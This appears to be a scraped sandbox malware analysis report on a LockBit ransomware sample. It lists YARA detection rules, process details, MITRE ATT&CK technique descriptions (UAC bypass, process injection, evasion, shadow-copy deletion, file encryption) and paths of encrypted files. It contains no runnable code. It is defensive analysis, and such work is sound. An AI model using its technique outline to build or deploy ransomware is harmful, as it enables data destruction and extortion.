MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Analysis Process: Pna3t7DeL3.exePID: 3964, Parent PID: 6084

General

Target ID:	34
Start time:	06:35:47
Start date:	12/03/2023
Path:	C:\Users\user\Desktop\Pna3t7DeL3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Pna3t7DeL3.exe"
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	523190C8ADB9F67F54BD299C9175D4E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000022.00000002.371381797.0000000002C0C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_EXE_LockBit_v2, Description: Detection for LockBit version 2.x from 2011, Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Silas Cutler, modified by Florian Roth Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LockBit_ransomware, Description: Yara detected LockBit ransomware, Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Lockbit_89e64044, Description: unknown, Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: Windows_Ransomware_Lockbit_a1c60939, Description: unknown, Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low

Disassembly

⊘No disassembly

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Pna3t7DeL3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Lockbit

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini

C:\$RECYCLE.BIN\desktop.ini

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870c-9912-c184-4cc9-b401-a53f4d8de290.pdf.lockbit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Restore-My-Files.txt

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\appcenter_r.aapp.lockbit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\certificates_r.aapp.lockbit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\collectsignatures.aapp.lockbit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\combine_r_rhp.aapp.lockbit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\comments.aapp.lockbit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\compare_r_rhp.aapp.lockbit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\cpdf_full.aapp.lockbit

Windows Analysis Report
Pna3t7DeL3.exe

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact .
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Services, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre